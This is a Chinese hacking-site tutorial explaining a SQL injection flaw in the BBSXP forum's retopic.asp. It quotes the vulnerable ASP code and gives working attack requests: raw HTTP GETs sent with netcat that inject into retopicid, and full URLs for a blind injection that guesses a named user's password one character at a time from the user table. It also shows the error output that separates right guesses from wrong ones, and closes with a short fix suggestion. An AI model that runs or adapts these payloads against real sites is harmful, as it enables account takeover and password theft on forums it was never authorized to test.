您的位置:首页网络冲浪黑客天空 → BBSXP漏洞[倒着看二]

BBSXP漏洞[倒着看二]

时间:2004/10/8 16:38:00来源:本站整理作者:蓝点我要评论(7)

    内容:
飞翔的背心@2003.7.3

    不得不说,这个BBSXP的缩进实在是混乱,前些天调试retopic.asp的时候,真是把我看得差点把键盘都砸了。简简单单的几个if..then..else..endif跨度大得跟什么似的,看得我头皮发麻,两腿抽筋,最后幸亏editplus里面可以ctrl+],不然真不知道最后要走多少弯路。嗯,火死了……

    retopic.asp行199开始是这样子写的,仍然用老夫的背心打赌,这种程度的漏洞,只有高中生会犯,嘻嘻……

if Request("retopicid")<>"" then
sql="select * from reforum where id="&Request("retopicid")&""
rs.Open sql,Conn
else
sql="select * from forum where ID="&Request("id")&" and forumid="&Request("forumid")&""
rs.Open sql,Conn
end if

    要一口咬定这个是漏洞,光乱说是不行的。这个地方,我测试了一下,确实有问题,如果大家有时间,可以下一个1.65a版下来看看,很容易利用,当然,如果大家只对方法感兴趣的话,往下面看吧。不过长时间不去思考,脑袋会退化的,:-)。

    粗略一看,可以提交retopicid或者提交id和forumid来利用。由分析的结果可以知道,12行到169行是一个大大的if语句,如果进入了这个条件的话,那么会被一个succeed()函数结束掉,所以要绕开这个条件。我们还是从NC过去正常的提交着手,如果你不太清楚过程,请参看这个系列的(一)。

GET /bbsxp/retopic.asp?retopicid=wahahaha HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

    出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,forumid没有提交,马上改正!NC过去,提交如下数据:

GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

    哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好,手工的话,呵呵……

    其实还有一个简单的方法,用提交id和forumid来利用。先到对方的BBSXP注册登陆,这样浏览器就记录了很多东西,我们只要在地址栏里面就可以猜了。为了明明白白的知道是否猜对,我们可以利用一下这一句话:

if Request("quote")=1 then
content =rs("content")
quote="
原文由 "&rs("username")&" 发表:"&vbCrlf&""&content&"

"
end if

    我们在提交的地址中包含quote,猜测得正确的话,就可以看到引用的文章,猜错的话,就是500错误。例如:

http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='c')&forumid=1"e=1

    这个注入的条件是真,也就是说never的密码第三位是c,返回的表单中包含了id为1的文章的内容。如果我的猜测错误,比如这样子:

http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='3')&forumid=1"e=1

    返回给浏览器的信息就出现了错误,我的机器上是

ADODB.Field 错误 '800a0bcd' 

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 

/bbsxp/retopic.asp,行212 

    呵呵,这是很容易分辨的,而且也很容易实现注入。



    顺便说几句话,如果BBSXP的人看到这里的话,强烈建议你们区分开request.form和request.querystring,而不要图方便直接用request。至于原因,你们自己去想吧,呵呵

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 黑客大战直播网址 黑客

最新文章 黑客大战直播网址 黑客什么是木马,什么是木马 计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧

人气排行 如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具